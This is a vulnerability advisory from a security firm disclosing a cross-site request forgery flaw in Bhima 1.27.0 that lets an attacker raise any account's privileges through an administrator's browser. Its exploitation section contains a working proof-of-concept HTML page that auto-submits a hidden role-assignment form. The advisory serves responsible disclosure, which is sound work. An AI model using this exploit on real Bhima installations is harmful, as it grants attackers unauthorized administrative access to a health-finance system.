Bhima 1.27.0 - Privilege Escalation via CSRF

Summary

NameBhima 1.27.0 - Privilege Escalation via CSRF
Code name
ProductBhima
Affected versionsVersion 1.27.0
StatePublic
Release date2023-04-10

Vulnerability

KindCross-site request forgery
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CVSSv3.1 Base Score8.0
Exploit availableYes
CVE ID(s)

Description

Bhima version 1.27.0 allows a remote attacker to update the privileges of any account registered in the application via a malicious link sent to an administrator. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF. In this way we can persuade an administrator to elevate the privileges of an arbitrary account.

Exploitation

Exploit.html

<!DOCTYPE html> <html> <body> <form action="http://localhost:8082/roles/assignTouser" method="POST"> <input type="hidden" name="user_id" value="6" /> <input type="hidden" name="role_uuids" value="5B7DD0D692734955A703126FBD504B61" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Evidence of exploitation

Priv-Escalation-csrf

Our security policy

We have reserved the ID CVE-2023-0959 to refer to this issue from now on.

System Information

  • Version: Bhima 1.27.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/IMA-WorldHealth/bhima/

Timeline

Time-lapse-logo

2023-02-22

Vulnerability discovered.

Time-lapse-logo

2023-02-22

Vendor contacted.

Time-lapse-logo

2023-02-22

Vendor replied acknowledging the report.

Time-lapse-logo

2023-04-10

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.